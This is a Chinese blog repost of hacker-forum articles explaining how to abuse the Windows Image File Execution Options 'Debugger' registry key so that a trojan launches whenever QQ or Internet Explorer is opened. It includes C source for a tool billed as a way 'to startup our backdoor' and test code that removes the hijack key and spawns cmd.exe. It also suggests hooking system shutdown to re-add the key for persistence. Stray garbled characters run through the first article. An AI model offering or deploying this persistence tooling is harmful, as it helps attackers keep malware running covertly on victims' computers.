现在的位置: 首页 > 综合 > 正文

一个不常用的小技巧

2013年05月17日 ⁄ 综合 ⁄ 共 6094字 ⁄ 字号 评论关闭

前几天我看了一篇技术文章,是讲述一种病毒的感染运行机制。原文中提到了一个木 <?
马启动的新的思路。(文章是两年前的,唉,看来我们要学的东西好多阿)也许某些 ~
高手已经会了,但是很多人也不知道。我整理出来,结合我自己的试验,给大家简单7

介绍一下。作为一个小教程,本文不涉及程序方面的知识,菜鸟老鸟都能看明白的。
暂时我们只针对XP和2000系统。其他的系统我没测试过,不敢乱说!


一般大家机器里都会有QQ吧,我们就用QQ来做试验!!
?

直接在开始菜单里找到运行栏,输入regedit,打开注册表编辑器。找到 

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options]
驘? 
(给菜鸟的话:是先找到HKEY_LOCAL_MACHINE项再找到SOFTWARE项再找 

Microsoft…………最后找到Image File Execution Options) 

在Image File Execution Options的下面你点新建一个项,取名为QQ.exe。然后再选 
中这个QQ.exe,在
 它的右边的空白栏新建一个字符串值,取名为Debugger。然后双击打开,输入
? 
c:/windows/NOTEPAD.EXE
 

(给菜鸟的话:NOTEPAD.EXE就是我们系统里的记事本程序,win2000应该在winnt ? 
目录下)
 
 
好了。咱们找出QQ!我的QQ装在D盘里,我直接双击打开QQ.exe。嘿嘿!看见了
 
没,直接打开了记事本程 飠哦p韙l  
序(其实是调用记事本来打开这个exe文件)。嘿嘿。不管你把QQ装哪个盘都是一  
样。等于是把QQ禁用了。
 
槀齿廕b  
  

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/WindowsNT/CurrentVersion/Image File Execution Options]
j*  
  
其实这个地方是NT系统的一个执行重定向,重定向执行系统中其他执行文件,如果该
 
路径不存在,原文 ?件不受影响,正常打开,但是如果路径存在,原文件就会按照指定的执行文件方式打开! 
 
一些病毒和木马就是用这样的方法进行传播运行的了,比如刚才我们输入的c:/windows/NOTEPAD.EXE,
  
如果把它改成木马或者病毒的路径呢??嘿嘿!再把那个QQ.exe改成
A
IEXPLORE.EXE。这样的话,只要你 } 
一打开IE浏览器,你就会运行木马或者病毒一次。 
 
纯粹就是一个思路,本文涉及的技术是两年前就有人发布出来了,看你怎么利用了。
?

(给菜鸟的话:要想改回来很简单,直接在注册表编辑器下删除那个QQ.exe的项就可以了,或者导出 N 
QQ.exe项为reg文件,在"Debugger"="c://windows//NOTEPAD.EXE"下,修改 o:为"Debugger"=""  
保存后双击导入注册表就可以了,这样的好处方便你随时修改。)

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:L4bm0s

昨天看了一篇有意思的文章
我想很多人都看过这文章,说的是利用注册表启动后门,看了一下,觉得有点意思,顺便写了个工具出来。如需转载,请表明作者以及文章出处,谢谢。


Copy code

/****************************************************
*
*    A simple tool to startup our backdoor
*
*    Author  : L4bm0s<[email]L4bm0s@gmail.com[/email]>
*
*    QQ      : 76137660     
*
*    HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>

BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath );
BOOL WINAPI RemoveKeyAndValue( char * KeyName );
void  Usage( char * name );

const char * TargetKeyName = "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options" ;

int main(int argc, char* argv[])
{
    if( argc != 3 && argc != 4 )
    {
        Usage( argv[0] );
        return -1;
    }
    if( argc == 3 )
    {
        if( !strcmp( "-r" , argv[1] ) )
        {
            BOOL ret;
            ret = RemoveKeyAndValue( argv[2] );
            if( ret )
            {
                printf( "Remove Key Success!/n" );
                return 0;
            }
            else
            {
                printf( "Remove Key Fail: /n" );
                return -1;
            }
        }
        else
        {
            Usage( argv[0] );
            return -1;
        }
    }
    if( argc == 4 )
    {
        if( !strcmp( "-a" , argv[1] ) )
        {
            BOOL ret;
            ret = SetUpKeyAndValue( argv[2] , argv[3] );
            if( ret )
            {
                printf( "Add Key and Value Success!/n" );
                return 0;
            }
            else
            {
                printf( "Add Key and Value Fail!" );
                return -1;
            }
        }
        else
        {
            Usage( argv[0] );
            return -1;
        }
    }
    return 0;
}

BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath )
{
    HKEY hKey;
    HKEY hValueKey;
    LONG ret ;
   
    ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
                    TargetKeyName ,
                    0 ,
                    KEY_ALL_ACCESS ,
                    &hKey );
   
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegOpenKeyEx: %d/n" , GetLastError() );
        return FALSE;
    }
    else
    {
        ret = RegCreateKeyEx( hKey ,
                    KeyName ,
                    0 ,
                    NULL ,
                    REG_OPTION_NON_VOLATILE ,
                    KEY_ALL_ACCESS ,
                    NULL ,
                    &hValueKey ,
                    NULL );
    }
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegCreateKeyEx: %d/n" , GetLastError() );
        return FALSE;
    }

    ret = RegSetValueEx( hValueKey ,
                    "Debugger" ,
                    0 ,
                    REG_SZ ,
                    ( BYTE * )ValuePath ,
                    strlen( ValuePath ) );
   
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegSetValueEx(): %d/n" , GetLastError() );
        return FALSE;
    }
    return TRUE;
}
BOOL  WINAPI RemoveKeyAndValue( char * KeyName )
{
    HKEY hKey;
    LONG ret;
    ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
                    TargetKeyName ,
                    0 ,
                    KEY_ALL_ACCESS ,
                    &hKey );
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegOpenKeyEx(): %d/n" , GetLastError() );
        return FALSE;
    }
    ret = RegDeleteKey( hKey , KeyName );
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegDeleteKeyEx(): %d/n " , GetLastError() );
        return FALSE;
    }
    return TRUE;
}
void Usage( char * Name )
{
    printf( "/t/t  A simple Tool to Startup our Backdoor/n" );
    printf( "/t/t    Written by L4bm0s<[email]L4bm0s@gmail.com[/email]>/n" );
    printf( "/t/t        [url]Http://my.opera.com/l4bm0s[/url]/n/n" );
    printf( "To add a Key and Value:/n" );
    printf( "Usage: %s -a KeyName ValuePath /n" , Name );
    printf( "Example: %s -a iexplore.exe C://WINDOWS//system32//cmd.exe/n/n" , Name );
    printf( "To remove a Key:/n" );
    printf( "Usage: %s -r KeyName/n" , Name );
    printf( "Example: %s -r iexplore.exe/n/n" , Name );
    printf( "If these is any bug about this tool , please contact me ;)/n" );
    return;
}



其实原理很简单,大家看前面我给的地址的那篇文章就会明白,不过当我们修改了注册表以后,原来的文件就打不开了,所以这样还是不能达到目的,我想到了一个方法,大家看下面的代码:

Copy code

/****************************************************
*
*    Test Code
*
*    Author  : L4bm0s<[email]L4bm0s@gmail.com[/email]>
*
*    QQ      : 76137660     
*
*    HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>

const char * TargetKeyName = "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options" ;

int APIENTRY WinMain(HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR    lpCmdLine,
                    int      nCmdShow)
{
    HKEY hKey;
    LONG ret;
    ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
                    TargetKeyName ,
                    0 ,
                    KEY_ALL_ACCESS ,
                    &hKey );
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegOpenKeyEx(): %d/n" , GetLastError() );
        return -1;
    }
    ret = RegDeleteKey( hKey , "iexplore.exe" );
    if( ret != ERROR_SUCCESS )
    {
        printf( "Error RegDeleteKeyEx(): %d/n " , GetLastError() );
        return -1;
    }
    STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory( &si , sizeof(si) );
        si.cb = sizeof( si );
        ZeroMemory( &pi , sizeof(pi) );

    char cmdline[] = "cmd.exe";
   
    CreateProcess( NULL ,
                cmdline ,
                NULL ,
                NULL ,
                FALSE ,
                0 ,
                NULL ,
                NULL ,
                &si ,
                &pi );       
    return 0;
}

这篇代码很简陋,直接从前面代码中复制过来修改,测试用的,当它被启动以后,它会修改注册表,把我们往注册表里添面加的子键删除,这样的话,原来的文件又可以用了,聪明的大家现在应该想到怎样利用了吧,就是在编写木马的时候,往木马里面加上删除子键的代码,然后再像ByShell那样HOOK关机消息,当HOOK到关机消息的时候,再往注册表添加子键,这样的话,在正常情况下就能确保我们的后门启动了.

我们可以添加一个iexplore.exe的子键以及一个qq.exe的子键,这样的话,后门被启动的机会就很大了.刚开始的时候,我是想到添加一个explorer.exe的子键的,成功的话,那么每次启动,explorer.exe都会帮我们启动后门,不过经过测试,发现这个方法不可行,有兴趣的朋友可以自己测试一下,这里只是提供一个思路,大家有好的想法可以交流交流;)

抱歉!评论已关闭.